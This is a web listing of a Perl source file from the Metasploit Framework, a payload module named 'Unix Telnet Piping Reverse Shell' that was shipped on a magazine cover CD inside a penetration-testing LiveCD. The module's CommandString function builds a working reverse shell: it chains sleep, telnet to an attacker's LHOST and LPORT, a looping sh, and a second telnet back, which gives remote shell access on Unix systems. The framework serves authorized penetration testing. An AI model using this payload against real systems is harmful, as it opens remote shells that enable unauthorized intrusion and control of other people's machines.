home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / cmd_unix_reverse.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.6 KB  |  56 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::cmd_unix_reverse;
  11. use strict;
  12. use base 'Msf::PayloadComponent::CommandPayload';
  13. sub _Load {
  14.   Msf::PayloadComponent::CommandPayload->_Import('Msf::PayloadComponent::DoubleReverseConnection');
  15.   __PACKAGE__->SUPER::_Load();
  16. }
  17.  
  18. my $info =
  19. {
  20.   'Name'         => 'Unix Telnet Piping Reverse Shell',
  21.   'Version'      => '$Revision: 1.25 $',
  22.   'Description'  => 'Use telnet|sh|telnet to simulate reverse shell',
  23.   'Authors'      => [ 'spoonm <ninjatools [at] hush.com>', ],
  24.   'Priv'         => 0,
  25.   'OS'           => [ 'linux', 'bsd', 'hpux', 'irix', 'aix', 'solaris' ],
  26. };
  27.  
  28. sub new {
  29.   _Load();
  30.   my $class = shift;
  31.   my $hash = @_ ? shift : { };
  32.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  33.   my $self = $class->SUPER::new($hash, @_);
  34.   return($self);
  35. }
  36.  
  37. sub CommandString {
  38.   my $self = shift;
  39.   my $host = $self->GetVar('LHOST');
  40.   my $port = $self->GetVar('LPORT');
  41.  
  42.   # The sleep command keeps telnet from exiting due to an empty read
  43.   # from stdin. 7200 seconds clears the sleep's from the process table
  44.   # after a couple of hours. If you need a shell longer than this, then
  45.   # you are already doing something wrong :-)
  46.   my $command =
  47.     "sleep 7200|".
  48.     "telnet $host $port|".
  49.     "while : ; do sh && break; done 2>&1|".
  50.     "telnet $host $port";
  51.     
  52.   return($command);
  53. }
  54.  
  55. 1;
  56.